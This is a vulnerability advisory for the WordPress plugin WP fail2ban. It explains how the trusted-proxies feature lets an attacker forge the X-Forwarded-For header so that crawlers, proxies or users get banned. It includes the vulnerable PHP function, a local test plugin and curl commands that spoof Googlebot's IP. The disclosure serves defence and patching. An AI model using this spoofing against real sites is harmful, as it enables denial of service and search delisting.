DOS through IP spoofing – (WP fail2ban <= 4.4.0.6)

| in


Affected pluginWP fail2ban
Active installs70.000+
Vulnerable version<= 4.4.0.6
Audited version4.4.0.6
Fully patched version
Recommended remediationRemoval of the plugin

Description


The plugin is vulnerable to IP spoofing if the user uses the trusted proxies functionality in the plugin. An attacker can exploit this by banning search engine crawlers, the site’s reverse proxy, or legitimate users at the fail2ban level.

Proof of concept


The plugin uses the “org\lecklider\charles\wordpress\wp_fail2ban\remote_addr” function everywhere it needs access to current client IP address.

function remote_addr(): ?string
{
    static $remote_addr = null;
    /**
     * @since 4.0.0
     */
    if (is_null($remote_addr)) {
        if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            $ip = ip2long($_SERVER['REMOTE_ADDR']);
            $proxies = [];
            /**
             * User-defined proxies, typically upstream nginx
             */
            if (defined('WP_FAIL2BAN_PROXIES') && !empty(WP_FAIL2BAN_PROXIES)) {
                /**
                 * PHP 7 lets you define an array
                 * @since 3.5.4
                 */
                $proxies = (is_array(WP_FAIL2BAN_PROXIES))
                            ? WP_FAIL2BAN_PROXIES
                            : explode(',', WP_FAIL2BAN_PROXIES);
            }
            $proxies = apply_filters(__METHOD__, $proxies);
            if (ip_in_range($ip, $proxies)) {
                return (false === ($len = strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')))
                    ? $_SERVER['HTTP_X_FORWARDED_FOR']
                    : substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, $len);
            }
        }
        /**
         * For plugins and themes that anonymise requests
         * @since 3.6.0
         */
        $remote_addr = (defined('WP_FAIL2BAN_REMOTE_ADDR'))
            ? WP_FAIL2BAN_REMOTE_ADDR
            : $_SERVER['REMOTE_ADDR'];
    }
    return $remote_addr;
}

By default, this function will return the REMOTE_ADDR, which is a good thing as it can not be spoofed by an attacker.

However, as soon as a user of the plugin makes use of the “trusted proxies” functionality, this method will be vulnerable to IP spoofing as it starts reading the IP from the untrusted X-Forwarded-For header. (Lines 23-28 above)

To verify this, create the following must-use plugin on a local WordPress installation. It emulates the behaviour of a load balancer and hardcodes the IP addresses so that test results can be reproduced locally.

<?php
declare(strict_types=1);

// wp-content/mu-plugins/ip.php

use function org\lecklider\charles\wordpress\wp_fail2ban\remote_addr;

/**
 * This here simulates the default behaviour behind a load balancer or reverse proxy.
 */
$load_balancer_ip = '94.13.143.115';
$real_ip = '58.70.238.164';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;

/**
 * We trust our load balancer
 */
define('WP_FAIL2BAN_PROXIES', [$load_balancer_ip]);

/**
 * This is how a load balancer will create the header. Always appending to the right.
 * Not doing so would validate the HTTP spec.
 */
if(empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_ip;
}else {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_ip;
}

if(!isset($_SERVER['HTTP_TEST_IP'])) {
    return;
}

add_action('plugins_loaded', function (){
    echo remote_addr();
    echo "\n";
    die();
});

Now, run the following curl commands:

curl -X GET https://site.test -H "TEST-IP: 1"
58.70.238.164 # This IP is correct

Now:

curl -X GET https://site.test -H "TEST-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67 # Spoofed IP

We just spoofed the IP address of Google-Bot, and the plugin will ban it using fail2ban, which will get the target site delisted in Google.

Proposed patch


This is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 11, 2022
First Response
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *